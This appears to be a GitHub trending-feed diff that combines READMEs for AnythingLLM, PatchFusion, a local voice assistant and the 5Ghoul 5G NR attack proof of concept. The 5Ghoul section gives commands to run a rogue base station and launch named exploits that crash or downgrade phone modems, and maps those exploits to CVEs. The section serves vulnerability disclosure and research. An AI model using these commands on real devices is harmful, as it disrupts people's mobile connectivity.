<li><a href="https://github.com/robcarver17/systematictradingexamples">systematictradingexamples</a> - Examples of code related to book <a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/www.systematictrading.org">Systematic Trading</a> and <a href="http://qoppac.blogspot.com">blog</a></li>
<li><a href="https://github.com/robcarver17/pysystemtrade_examples">pysystemtrade_examples</a> - Examples using pysystemtrade for Robert Carver's <a href="http://qoppac.blogspot.com">blog</a>.</li>
<li><a href="https://github.com/mfrdixon/ML_Finance_Codes">ML_Finance_Codes</a> - Machine Learning in Finance: From Theory to Practice Book</li>
<li><a href="https://github.com/packtpublishing/hands-on-machine-learning-for-algorithmic-trading">Hands-On Machine Learning for Algorithmic Trading</a> - Hands-On Machine Learning for Algorithmic Trading, published by Packt</li>
<li><a href="https://github.com/financialnoob/misc">financialnoob-misc</a> - Codes from @financialnoob's posts</li>
<li><a href="https://github.com/deltaray-io/strategy-library">MesoSim Options Trading Strategy Library</a> - Free and public Options Trading strategy library for MesoSim.</li>
<li><a href="https://github.com/lingyixu/Quant-Finance-With-Python-Code">Quant-Finance-With-Python-Code</a> - Repo for code examples in Quantitative Finance with Python by Chris Kelliher</li>
<li><a href="https://github.com/JoaoJungblut/QuantFinanceTraining">QuantFinanceTraining</a> - This repository contains codes that were executed during my training in the CQF (Certificate in Quantitative Finance). The codes are organized by class, facilitating navigation and reference.</li>
</ul>
+ Mintplex-Labs/anything-llm
+ 2023-12-13T01:25:56Z
+ tag:github.com,2023-12-13:/Mintplex-Labs/anything-llm
+
+ <p>Open-source ChatGPT equivalent experience for both open and close source LLMs, embedders, and vector databases. Supports unlimited documents, threads, and concurrent users and management all in a very clean UI.</p><hr><p align="center"> <a href="https://useanything.com"><img src="https://github.com/Mintplex-Labs/anything-llm/raw/master/images/wordmark.png?raw=true" alt="AnythingLLM logo"></a> </p>
<p align="center"> <b>AnythingLLM: A private ChatGPT to chat with <i>anything!</i></b>. <br> An efficient, customizable, and open-source enterprise-ready document chatbot solution. </p>
<p align="center"> <a href="https://discord.gg/6UyHPeGZAC" target="_blank"> <img src="https://img.shields.io/badge/chat-mintplex_labs-blue.svg?style=flat&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAH1UExURQAAAP////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////r6+ubn5+7u7/3+/v39/enq6urq6/v7+97f39rb26eoqT1BQ0pOT4+Rkuzs7cnKykZKS0NHSHl8fdzd3ejo6UxPUUBDRdzc3RwgIh8jJSAkJm5xcvHx8aanqB4iJFBTVezt7V5hYlJVVuLj43p9fiImKCMnKZKUlaaoqSElJ21wcfT09O3u7uvr6zE0Nr6/wCUpK5qcnf7+/nh7fEdKTHx+f0tPUOTl5aipqiouMGtubz5CRDQ4OsTGxufn515hY7a3uH1/gXBydIOFhlVYWvX29qaoqCQoKs7Pz/Pz87/AwUtOUNfY2dHR0mhrbOvr7E5RUy8zNXR2d/f39+Xl5UZJSx0hIzQ3Odra2/z8/GlsbaGjpERHSezs7L/BwScrLTQ4Odna2zM3Obm7u3x/gKSmp9jZ2T1AQu/v71pdXkVISr2+vygsLiInKTg7PaOlpisvMcXGxzk8PldaXPLy8u7u7rm6u7S1tsDBwvj4+MPExbe4ueXm5s/Q0Kyf7ewAAAAodFJOUwAABClsrNjx/QM2l9/7lhmI6jTB/kA1GgKJN+nea6vy/MLZQYeVKK3rVA5tAAAAAWJLR0QB/wIt3gAAAAd0SU1FB+cKBAAmMZBHjXIAAAISSURBVDjLY2CAAkYmZhZWNnYODnY2VhZmJkYGVMDIycXNw6sBBbw8fFycyEoYGfkFBDVQgKAAPyMjQl5IWEQDDYgIC8FUMDKKsmlgAWyiEBWMjGJY5YEqxMAqGMWFNXAAYXGgAkYJSQ2cQFKCkYFRShq3AmkpRgYJbghbU0tbB0Tr6ukbgGhDI10gySfBwCwDUWBsYmpmDqQtLK2sbTQ0bO3sHYA8GWYGWWj4WTs6Obu4ami4OTm7exhqeHp5+4DCVJZBDmqdr7ufn3+ArkZgkJ+fU3CIRmgYWFiOARYGvo5OQUHhEUAFTkF+kVHRsLBgkIeyYmLjwoOc4hMSk5JTnINS06DC8gwcEEZ6RqZGlpOfc3ZObl5+gZ+TR2ERWFyBQQFMF5eklmqUpQb5+ReU61ZUOvkFVVXXQBSAraitq29o1GiKcfLzc29u0mjxBzq0tQ0kww5xZHtHUGeXhkZhdxBYgZ4d0LI6c4gjwd7siQQraOp1AivQ6CuAKZCDBBRQQQNQgUb/BGf3cqCCiZOcnCe3QQIKHNRTpk6bDgpZjRkzg3pBQTBrdtCcuZCgluAD0vPmL1gIdvSixUuWgqNs2YJ+DUhkEYxuggkGmOQUcckrioPTJCOXEnZ5JS5YslbGnuyVERlDDFvGEUPOWvwqaH6RVkHKeuDMK6SKnHlVhTgx8jeTmqy6Eij7K6nLqiGyPwChsa1MUrnq1wAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAyMy0xMC0wNFQwMDozODo0OSswMDowMB9V0a8AAAAldEVYdGRhdGU6bW9kaWZ5ADIwMjMtMTAtMDRUMDA6Mzg6NDkrMDA6MDBuCGkTAAAAKHRFWHRkYXRlOnRpbWVzdGFtcAAyMDIzLTEwLTA0VDAwOjM4OjQ5KzAwOjAwOR1IzAAAAABJRU5ErkJggg==" alt="Discord"> </a> | <a href="https://github.com/Mintplex-Labs/anything-llm/raw/master/LICENSE" target="_blank"> <img src="https://img.shields.io/static/v1?label=license&message=MIT&color=white" alt="License"> </a> | <a href="https://docs.useanything.com" target="_blank"> Docs </a> | <a href="https://my.mintplexlabs.com/aio-checkout?product=anythingllm" target="_blank"> Hosted Instance </a> </p>
<p>A full-stack application that enables you to turn any document, resource, or piece of content into context that any LLM can use as references during chatting. This application allows you to pick and choose which LLM or Vector Database you want to use as well as supporting multi-user management and permissions.</p>
<p><img src="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/images/screenshots/chatting.gif" alt="Chatting"></p>
<h3>Watch the demo!</h3>
<p><a href="https://youtu.be/f95rGD9trL0"><img src="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/images/youtube.png" alt="Watch the video"></a></p>
<h3>Product Overview</h3>
<p>AnythingLLM is a full-stack application where you can use commercial off-the-shelf LLMs or popular open source LLMs and vectorDB solutions to build a private ChatGPT with no compromises that you can run locally as well as host remotely and be able to chat intelligently with any documents you provide it.</p>
<p>AnythingLLM divides your documents into objects called <code>workspaces</code>. A Workspace functions a lot like a thread, but with the addition of containerization of your documents. Workspaces can share documents, but they do not talk to each other so you can keep your context for each workspace clean.</p>
<p>Some cool features of AnythingLLM</p>
<ul>
<li><strong>Multi-user instance support and permissioning</strong></li>
<li>Multiple document type support (PDF, TXT, DOCX, etc)</li>
<li>Manage documents in your vector database from a simple UI</li>
<li>Two chat modes <code>conversation</code> and <code>query</code>. Conversation retains previous questions and amendments. Query is simple QA against your documents</li>
<li>In-chat citations linked to the original document source and text</li>
<li>Simple technology stack for fast iteration</li>
<li>100% Cloud deployment ready.</li>
<li>"Bring your own LLM" model.</li>
<li>Extremely efficient cost-saving measures for managing very large documents. You'll never pay to embed a massive document or transcript more than once. 90% more cost effective than other document chatbot solutions.</li>
<li>Full Developer API for custom integrations!</li>
</ul>
<h3>Supported LLMs, Embedders, and Vector Databases</h3>
<p><strong>Supported LLMs:</strong></p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/server/storage/models/README.md#text-generation-llm-selection">Any open-source llama.cpp compatible model</a></li>
<li><a href="https://openai.com">OpenAI</a></li>
<li><a href="https://azure.microsoft.com/en-us/products/ai-services/openai-service">Azure OpenAI</a></li>
<li><a href="https://www.anthropic.com/">Anthropic ClaudeV2</a></li>
<li><a href="https://lmstudio.ai">LM Studio (all models)</a></li>
<li><a href="https://localai.io/">LocalAi (all models)</a></li>
</ul>
<p><strong>Supported Embedding models:</strong></p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/server/storage/models/README.md">AnythingLLM Native Embedder</a> (default)</li>
<li><a href="https://openai.com">OpenAI</a></li>
<li><a href="https://azure.microsoft.com/en-us/products/ai-services/openai-service">Azure OpenAI</a></li>
<li><a href="https://lmstudio.ai">LM Studio (all)</a></li>
<li><a href="https://localai.io/">LocalAi (all)</a></li>
</ul>
<p><strong>Supported Vector Databases:</strong></p>
<ul>
<li><a href="https://github.com/lancedb/lancedb">LanceDB</a> (default)</li>
<li><a href="https://pinecone.io">Pinecone</a></li>
<li><a href="https://trychroma.com">Chroma</a></li>
<li><a href="https://weaviate.io">Weaviate</a></li>
<li><a href="https://qdrant.tech">QDrant</a></li>
</ul>
<h3>Technical Overview</h3>
<p>This monorepo consists of three main sections:</p>
<ul>
<li><code>collector</code>: Python tools that enable you to quickly convert online resources or local documents into LLM useable format.</li>
<li><code>frontend</code>: A viteJS + React frontend that you can run to easily create and manage all your content the LLM can use.</li>
<li><code>server</code>: A nodeJS + express server to handle all the interactions and do all the vectorDB management and LLM interactions.</li>
<li><code>docker</code>: Docker instructions and build process + information for building from source.</li>
</ul>
<h3>Minimum Requirements</h3>
<blockquote>
<p>[!TIP] Running AnythingLLM on AWS/GCP/Azure? You should aim for at least 2GB of RAM. Disk storage is proprotional to however much data you will be storing (documents, vectors, models, etc). Minimum 10GB recommended.</p>
</blockquote>
<ul>
<li><code>yarn</code> and <code>node</code> on your machine</li>
<li><code>python</code> 3.9+ for running scripts in <code>collector/</code>.</li>
<li>access to an LLM running locally or remotely.</li>
</ul>
<p>*AnythingLLM by default uses a built-in vector database powered by <a href="https://github.com/lancedb/lancedb">LanceDB</a></p>
<p>*AnythingLLM by default embeds text on instance privately <a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/server/storage/models/README.md">Learn More</a></p>
<h2>Recommended usage with Docker (easy!)</h2>
<blockquote>
<p>[!TIP] It is best to mount the containers storage volume to a folder on your host machine so that you can pull in future updates without deleting your existing data!</p>
</blockquote>
<p><code>docker pull mintplexlabs/anythingllm:master</code></p>
<pre><code class="language-shell">export STORAGE_LOCATION="/var/lib/anythingllm" && \
mkdir -p $STORAGE_LOCATION && \
touch "$STORAGE_LOCATION/.env" && \
docker run -d -p 3001:3001 \
-v ${STORAGE_LOCATION}:/app/server/storage \
-v ${STORAGE_LOCATION}/.env:/app/server/.env \
-e STORAGE_DIR="/app/server/storage" \
mintplexlabs/anythingllm:master
</code></pre>
<p>Open <a href="http://localhost:3001">http://localhost:3001</a> and you are now using AnythingLLM! All your data and progress will now persist between container rebuilds or pulls from Docker Hub.</p>
<p><a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/docker/HOW_TO_USE_DOCKER.md">Learn more about running AnythingLLM with Docker</a></p>
<h3>How to get started (Development environment)</h3>
<ul>
<li><code>yarn setup</code> from the project root directory.
<ul>
<li>This will fill in the required <code>.env</code> files you'll need in each of the application sections. Go fill those out before proceeding or else things won't work right.</li>
</ul> </li>
<li><code>yarn prisma:setup</code> To build the Prisma client and migrate the database.</li>
</ul>
<p>To boot the server locally (run commands from root of repo):</p>
<ul>
<li>ensure <code>server/.env.development</code> is set and filled out. <code>yarn dev:server</code></li>
</ul>
<p>To boot the frontend locally (run commands from root of repo):</p>
<ul>
<li>ensure <code>frontend/.env</code> is set and filled out.</li>
<li>ensure <code>VITE_API_BASE="http://localhost:3001/api"</code> <code>yarn dev:frontend</code></li>
</ul>
<p><a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/server/storage/documents/DOCUMENTS.md">Learn about documents</a></p>
<p><a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/server/storage/vector-cache/VECTOR_CACHE.md">Learn about vector caching</a></p>
<h2>Standalone scripts</h2>
<p>This repo contains standalone scripts you can run to collect data from a Youtube Channel, Medium articles, local text files, word documents, and the list goes on. This is where you will use the <code>collector/</code> part of the repo.</p>
<p><a href="https://raw.githubusercontent.com/Mintplex-Labs/anything-llm/master/collector/README.md">Go set up and run collector scripts</a></p>
<h2>Contributing</h2>
<ul>
<li>create issue</li>
<li>create PR with branch name format of <code><issue number>-<short name></code></li>
<li>yee haw let's merge</li>
</ul>
<h2>Telemetry</h2>
<p>AnythingLLM by Mintplex Labs Inc contains a telemetry feature that collects anonymous usage information.</p>
<h3>Why?</h3>
<p>We use this information to help us understand how AnythingLLM is used, to help us prioritize work on new features and bug fixes, and to help us improve AnythingLLM's performance and stability.</p>
<h3>Opting out</h3>
<p>Set <code>DISABLE_TELEMETRY</code> in your server or docker .env settings to "true" to opt out of telemetry.</p>
<pre><code>DISABLE_TELEMETRY="true"
</code></pre>
<h3>What do you explicitly track?</h3>
<p>We will only track usage details that help us make product and roadmap decisions, specifically:</p>
<ul>
<li>Version of your installation</li>
<li>When a document is added or removed. No information <em>about</em> the document. Just that the event occurred. This gives us an idea of use.</li>
<li>Type of vector database in use. Let's us know which vector database provider is the most used to prioritize changes when updates arrive for that provider.</li>
<li>Type of LLM in use. Let's us know the most popular choice and prioritize changes when updates arrive for that provider.</li>
<li>Chat is sent. This is the most regular "event" and gives us an idea of the daily-activity of this project across all installations. Again, only the event is sent - we have no information on the nature or content of the chat itself.</li>
</ul>
<p>You can verify these claims by finding all locations <code>Telemetry.sendTelemetry</code> is called. Additionally these events are written to the output log so you can also see the specific data which was sent - if enabled. No IP or other identifying information is collected. The Telemetry provider is <a href="https://posthog.com/">PostHog</a> - an open-source telemetry collection service.</p>
- zhyever/PatchFusion
- 2023-12-12T01:43:17Z
- tag:github.com,2023-12-12:/zhyever/PatchFusion
-
- <p>An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation</p><hr><div align="center">
<h1>PatchFusion </h1>
<h3>An End-to-End Tile-Based Framework <br> for High-Resolution Monocular Metric Depth Estimation</h3>
<p><a href="https://zhyever.github.io/patchfusion/"><img src="https://raw.githubusercontent.com/zhyever/PatchFusion/main/examples/badge-website.svg?sanitize=true" alt="Website"></a> <a href="https://arxiv.org/abs/2312.02284"><img src="https://img.shields.io/badge/arXiv-PDF-b31b1b" alt="Paper"></a> <a href="https://huggingface.co/spaces/zhyever/PatchFusion"><img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Space-yellow" alt="Hugging Face Space"></a> <a href="https://huggingface.co/zhyever/PatchFusion"><img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Model-yellow" alt="Hugging Face Model"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-green.svg?sanitize=true" alt="License: MIT"></a></p>
<p><a href="https://zhyever.github.io/">Zhenyu Li</a>, <a href="https://shariqfarooq123.github.io/">Shariq Farooq Bhat</a>, <a href="https://peterwonka.net/">Peter Wonka</a>. <br>KAUST</p>
<center>
<img src="https://raw.githubusercontent.com/zhyever/PatchFusion/main/examples/showcase_3.gif">
</center>
<center>
<img src="https://raw.githubusercontent.com/zhyever/PatchFusion/main/examples/showcase_2.gif">
</center>
</div>
<h2><strong>DEMO</strong></h2>
<p>Our official huggingface demo is available <a href="https://huggingface.co/spaces/zhyever/PatchFusion">here</a>! You can have a test with your own high-resolution image, even without a local GPU! It only takes 1min for depth prediction plus controlnet generation!</p>
<p>Thanks for the kind support from <a href="https://github.com/hysts">hysts</a>!</p>
<h2><strong>Environment setup</strong></h2>
<p>The project depends on :</p>
<ul>
<li><a href="https://pytorch.org/">pytorch</a> (Main framework)</li>
<li><a href="https://timm.fast.ai/">timm</a> (Backbone helper for MiDaS)</li>
<li><a href="https://github.com/isl-org/ZoeDepth">ZoeDepth</a> (Main baseline)</li>
<li><a href="https://github.com/lllyasviel/ControlNet">ControlNet</a> (For potential application)</li>
<li>pillow, matplotlib, scipy, h5py, opencv (utilities)</li>
</ul>
<p>Install environment using <code>environment.yml</code> :</p>
<p>Using <a href="https://github.com/mamba-org/mamba">mamba</a> (fastest):</p>
<pre><code class="language-bash">mamba (or micromamba) env create -n patchfusion --file environment.yml
mamba (or micromamba) activate patchfusion
</code></pre>
<p>Using conda :</p>
<pre><code class="language-bash">conda env create -n patchfusion --file environment.yml
conda activate patchfusion
</code></pre>
<h2><strong>Pre-Train Model</strong></h2>
<p>Download our pre-trained model <a href="https://drive.google.com/file/d/13M_qLOVSANDT1ss59Iebzjj3d0ZeVCi4/view?usp=sharing">here</a>, and put this checkpoint at <code>nfs/patchfusion_u4k.pt</code> as preparation for the following steps.</p>
<p>If you want to play the ControlNet demo, please download the pre-trained ControlNet model <a href="https://huggingface.co/lllyasviel/ControlNet/blob/main/models/control_sd15_depth.pth">here</a>, and put this checkpoint at <code>nfs/control_sd15_depth.pth</code>.</p>
<h2><strong>Gradio Demo</strong></h2>
<p>We provide a UI demo built using <a href="https://gradio.app/">gradio</a>. To get started, install UI requirements:</p>
<pre><code class="language-bash">pip install -r ui_requirements.txt
</code></pre>
<p>Launch the gradio UI for depth estimation or image to 3D:</p>
<pre><code class="language-bash">python ./ui_prediction.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json
</code></pre>
<p>Launch the gradio UI for depth-guided image generation with ControlNet:</p>
<pre><code class="language-bash">python ./ui_generative.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json
</code></pre>
<h2><strong>User Inference</strong></h2>
<ol>
<li> <p>Put your images in folder <code>path/to/your/folder</code></p> </li>
<li> <p>Run codes:</p> <pre><code class="language-bash">python ./infer_user.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json --rgb_dir path/to/your/folder --show --show_path path/to/show --save --save_path path/to/save --mode r128 --boundary 0 --blur_mask
</code></pre> </li>
<li> <p>Check visualization results in <code>path/to/show</code> and depth results in <code>path/to/save</code>, respectively.</p> </li>
</ol>
<p><strong>Args</strong></p>
<ul>
<li>We recommand users to use <code>--blur_mask</code> to reduce patch artifacts, though we didn't use it in our standard evaluation process.</li>
<li><code>--mode</code>: select from p16, p49, and r<strong>n</strong>, where <strong>n</strong> is the number of random added patches.</li>
<li>Please refer to <code>infer_user.py</code> for more details.</li>
</ul>
<h2>Citation</h2>
<p>If you find our work useful for your research, please consider citing the paper</p>
<pre><code>@article{li2023patchfusion,
title={PatchFusion: An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation},
author={Zhenyu Li and Shariq Farooq Bhat and Peter Wonka},
year={2023},
eprint={2312.02284},
archivePrefix={arXiv},
primaryClass={cs.CV}}
</code></pre>
+ linyiLYi/voice-assistant
+ 2023-12-13T01:25:56Z
+ tag:github.com,2023-12-13:/linyiLYi/voice-assistant
+
+ <p>一个简单的 Python 脚本,可以通过语音与本地大语言模型进行对话。</p><hr><h1>语音助手</h1>
<p>一个简单的 Python 脚本,可以通过语音与本地大语言模型进行对话。</p>
<h3>macOS 安装指南</h3>
<p>以下为 macOS 的安装过程,Windows 与 Linux 可以使用 speech_recognition 与 pyttsx3 来替代下文中的 macOS 的 hear 与 say 指令。</p>
<h4>创建环境</h4>
<pre><code>conda create -n VoiceAI python=3.11
conda activate VoiceAI
pip install langchain
CMAKE_ARGS="-DLLAMA_METAL=on" FORCE_CMAKE=1 pip install llama-cpp-python
# 安装音频处理工具
brew install portaudio
pip install pyaudio
</code></pre>
<h4>hear 语音识别模块</h4>
<p>使用 <a href="https://github.com/sveinbjornt/hear">hear</a> 指令可以直接调用 macOS 的语音识别模块。注意要开启电脑设置里的键盘听写选项:设置 -> 键盘 -> 听写(开启开关)。</p>
<h4>模型文件</h4>
<p>模型文件存放于 <code>models/</code> 文件夹下,在脚本中通过变量 <code>MODEL_PATH</code> 指定。 推荐下载 TheBloke 的 gguf 格式模型:</p>
<ul>
<li><a href="https://huggingface.co/TheBloke/Yi-34B-Chat-GGUF/blob/main/yi-34b-chat.Q8_0.gguf">Yi-34B-Chat-GGUF</a></li>
<li><a href="https://huggingface.co/XeIaso/yi-chat-6B-GGUF/tree/main">Yi-6B-Chat-GGUF,适用小显存平台,尚未测试</a></li>
</ul>
- asset-group/5ghoul-5g-nr-attacks
- 2023-12-12T01:43:17Z
- tag:github.com,2023-12-12:/asset-group/5ghoul-5g-nr-attacks
-
- <p></p><hr><h1>5Ghoul - 5G NR Attacks & 5G OTA Fuzzing</h1>
<blockquote>
<p>Proof of Concept (PoC) of 5G NR Attacks against commercial smartphones, CPE routers, USB Modems, etc. Fuzzer included⚡. 5Ghoul is family of implementation-level 5G DoS vulnerabilities affecting <strong>Qualcomm</strong> and <strong>MediaTek</strong> mobile platforms. For more details, see <a href="https://asset-group.github.io/disclosures/5ghoul/">https://asset-group.github.io/disclosures/5ghoul/</a></p>
</blockquote>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/attack_overview_with_output.png" alt="attack_overview_with_output"></p>
<hr>
<p><strong>Table of Contents</strong></p>
<ol>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#1--requirements">📋 Requirements</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#2--quick-start">⏩ Quick Start</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#3-%EF%B8%8F-launching-a-5ghoul-attack">☢️ Launching a 5Ghoul attack</a></p> <p>3.1. <a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#31-summary-of-available-attacks">Summary of Available Attacks</a></p> <p>3.2. <a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#32-create-your-own-5g-exploit">Create your own 5G exploit</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#4--running-the-5g-nr-fuzzer">🔀 Running the 5G NR Fuzzer</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#5-%EF%B8%8F-optional-build-5ghoul-software-from-source">🛠️ (Optional) Build <em>5Ghoul</em> software from source</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#6-%EF%B8%8F-advanced-options-wip">⚙️ Advanced Options (WIP)</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#7-%EF%B8%8F-third-party-5g-software-stacks">✉️ Third-Party 5G Software Stacks</a></p> </li>
</ol>
<hr>
<h1>1. 📋 Requirements</h1>
<ul>
<li> <p><strong>Software:</strong> The binary release has been tested and confirmed to work on bare-metal Ubuntu 18.04. However a docker container is provided to run <em>5Ghoul PoC & Fuzzer</em> in <strong>any Linux based OS capable of running Docker</strong>. We have validated the container in <code>Docker version 24.0.2</code>. Note that <strong>we do not recommend using any virtual machine</strong> since the latency of USB3 needs to be kept as low as possible.</p> </li>
<li> <p><strong>Hardware:</strong></p>
<ul>
<li> <p><strong>USRP B210:</strong> Use of a software-defined-radio (SDR) is required. We recommend the use of <strong><a href="https://www.ettus.com/all-products/ub210-kit/">USRP B210</a></strong>, which can be acquired directly from ETTUS. However, <em>5Ghoul PoC & Fuzzer</em> relies on OpenAirInterface 5G software stack, which can work with other <a href="https://gitlab.eurecom.fr/oai/openairinterface5g/-/wikis/OpenAirSystemRequirements#supported-rf">other SDRs</a> that might also work with our PoC.</p> <p align="center"><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/sdr-usrpb210.png" alt="sdr-usrpb210" width="150" height="auto"></p> </li>
</ul> </li>
</ul>
<p align="center"> <a href="https://www.ettus.com/all-products/ub210-kit/">ETTUS USRP B210</a> Software Defined Radio (SDR) </p>
<ul>
<li> <p><strong>(Optional) Programmable SIM Card:</strong> Some phones do not connect to arbitrary networks without a testing SIM card (001/01 MCC and MNC respectively). To this end, we recommend using a programmable <a href="https://sysmocom.de/products/sim/sysmousim/index.html">SIM card from Sysmocom</a> so you can configure its home network to 001/01.</p> <p align="center"><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/sim_cards.png" alt="sim_cards" width="130" height="auto"></p> </li>
</ul>
<p align="center"><a href="https://sysmocom.de/products/sim/sysmousim/index.html#">SysmoISIM-SJA2</a> programmable SIM/USIM/ISIM cards</p>
<p></p>
<h1>2. ⏩ Quick Start</h1>
<p>To get started with <em>5Ghoul PoC</em>, we recomend usage of <strong>5Ghoul Container</strong>, available in our docker hub. To simplify its usage, we created a wrapper script to run the container with all the required docker arguments:</p>
<pre><code class="language-bash">mkdir 5ghoul # Create 5ghoul folder
curl -LJO https://github.com/asset-group/5ghoul-5g-nr-attacks/raw/master/container.sh
chmod +x container.sh # Give exec. permission to the 5Ghoul container script
./container.sh release-5g # This will pull and start the terminal of the 5Ghoul container
sudo bin/5g_fuzzer --MCC=001 --MNC=01 # This will start the rogue base station inside the container
</code></pre>
<p>The final command above (<code>sudo bin/5g_fuzzer ...</code>) will start the rogue base station without any attack. Therefore, you can use this to verify if the connection between the rogue base station and the smartphone works in first place. Once the smartphone attempts to connect to the rogue base station, the <em>5Ghoul PoC</em> will indicate such connection by printing the message <code>"[!] 1/2 UE connected to eNB/gNB"</code>. This message indicates that your setup is working and ready to launch attacks.</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/normal-connection.svg?sanitize=true" alt="normal-connection"></p>
<h1>3. ☢️ Launching a 5Ghoul attack</h1>
<p>To put it simply, you can just run the following command after connecting USRP B210 to your PC/Laptop:</p>
<pre><code class="language-bash">sudo ./bin/5g_fuzzer --exploit=mac_sch_rrc_setup_crash_var --MCC=001 --MNC=01
</code></pre>
<p>Once the 5Ghoul PoC runs, it will start a rogue base station (gNB) using the provided MCC and MNC by the command line. You can attempt to connect to this rogue base station by inserting a compatible testing SIM card and scanning for operator networks in Android mobile connectivity settings. More details on this is provided in Section Phone Configuration.</p>
<p>When the smartphone connects to the rogue base station and an attack is launched, the terminal will print messages such as <code>"Malformed rrc setup sent!"</code>. These messages depend on the chosen exploit script. The Figure below exemplifies the expected output for the <em>5Ghoul</em> vulnerability <strong>V7</strong>, which disables the 5G connection of the smartphone. In this context, the smartphone won't be able to reconnect to the rogue base station and message<code> "Target is not responding"</code> is printed if no communication with the smartphone is possible after 45 seconds.</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/poc-attack-v7.svg?sanitize=true" alt="poc-attack-v7"></p>
<h2>3.1. Summary of Available Attacks</h2>
<p>Currently, <em>5Ghoul</em> PoC has 12 exploits available. The correspondence between the exploit name and <em>5Ghoul</em> vulnerability is shown in the Table below.</p>
<table>
<thead>
<tr>
<th>5Ghoul Vulnerability Name</th>
<th>Exploit Script Name</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>V1 - Invalid PUSCH Resource Allocation</td>
<td><strong>TBA</strong></td>
<td>Pending</td>
</tr>
<tr>
<td>V2 - Empty RRC dedicatedNAS-Message</td>
<td><strong>TBA</strong></td>
<td>Pending</td>
</tr>
<tr>
<td>V3 - Invalid RRC Setup</td>
<td><em>mac_sch_rrc_setup_crash</em></td>
<td>N.A (Patched)*</td>
</tr>
<tr>
<td>V4 - Invalid RRC Reconfiguration</td>
<td><em>mac_sch_rrc_reconfiguration_crash</em></td>
<td>N.A (Patched)*</td>
</tr>
<tr>
<td>V5 - Invalid MAC/RLC PDU</td>
<td><em>mac_sch_mac_rlc_crash</em></td>
<td>CVE-2023-33043</td>
</tr>
<tr>
<td>V6 - NAS Unknown PDU</td>
<td><em>mac_sch_nas_unknown_pdu_crash</em></td>
<td>CVE-2023-33044</td>
</tr>
<tr>
<td>V7 - Disabling 5G / Downgrade via RRC</td>
<td><em>mac_sch_rrc_setup_crash_var</em></td>
<td>CVE-2023-33042</td>
</tr>
<tr>
<td>V8 - Invalid RRC Setup spCellConfig</td>
<td><em>mac_sch_mtk_rrc_setup_crash_4</em></td>
<td>CVE-2023-32842</td>
</tr>
<tr>
<td>V9 - Invalid RRC pucch CSIReportConfig</td>
<td><em>mac_sch_mtk_rrc_setup_crash_2</em></td>
<td>CVE-2023-32844</td>
</tr>
<tr>
<td>V10 - Invalid RLC Data Sequence</td>
<td><em>mac_sch_mtk_rlc_crash</em></td>
<td>CVE-2023-20702</td>
</tr>
<tr>
<td>V11 - Truncated RRC physicalCellGroupConfig</td>
<td><em>mac_sch_mtk_rrc_setup_crash_6</em></td>
<td>CVE-2023-32846</td>
</tr>
<tr>
<td>V12 - Invalid RRC searchSpacesToAddModList</td>
<td><em>mac_sch_mtk_rrc_setup_crash_1</em></td>
<td>CVE-2023-32841</td>
</tr>
<tr>
<td>V13 - Invalid RRC Uplink Config Element</td>
<td><em>mac_sch_mtk_rrc_setup_crash_3</em></td>
<td>CVE-2023-32843</td>
</tr>
<tr>
<td>V14 - Null RRC Uplink Config Element</td>
<td><em>mac_sch_mtk_rrc_setup_crash_7</em></td>
<td>CVE-2023-32845</td>
</tr>
<tr>
<td>DA1 - NAS Flooding Downgrade</td>
<td><strong>TBA</strong></td>
<td>N.A</td>
</tr>
</tbody>
</table>
<ul>
<li>Vulnerabilities <strong>V3,V4</strong> do not seem to affect Qualcomm modems with firmware version dated since 2021.</li>
</ul>
